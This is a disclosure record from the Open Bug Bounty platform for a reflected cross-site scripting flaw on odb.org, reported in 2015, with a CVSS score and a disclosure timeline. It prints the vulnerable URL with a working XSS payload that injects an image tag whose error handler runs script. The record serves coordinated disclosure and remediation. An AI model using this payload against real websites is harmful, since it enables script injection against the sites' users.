Lucene search
ThedawgygOBB:92295HistoryOct 15, 2015 - 7:06 p.m.
odb.org XSS vulnerability
2015-10-1519:06:00
thedawgyg
www.openbugbounty.org
12
Open Bug Bounty ID: OBB-92295
| Description | Value |
|---|---|
| Affected Website: | odb.org |
| Vulnerable Application: | Custom Code |
| Vulnerability Type: | XSS (Cross Site Scripting) / CWE-79 |
| CVSSv3 Score: | 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N] |
| Remediation Guide: | OWASP XSS Prevention Cheat Sheet |
Vulnerable URL:
http://odb.org/?s=%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%28String.fromCharCode%2888,83,83,80,79,83,69,68%29%29%3E
Coordinated Disclosure Timeline
| Description | Value |
|---|---|
| Vulnerability Reported: | 15 October, 2015 19:06 GMT |
| Vulnerability Verified: | 15 October, 2015 19:08 GMT |
| Website Operator Notified: | 15 October, 2015 19:08 GMT |
| Vulnerability Published: | 15 October, 2015 19:08 GMT[without any technical details] |
| Public Disclosure: | 16 September, 2016 17:19 GMT |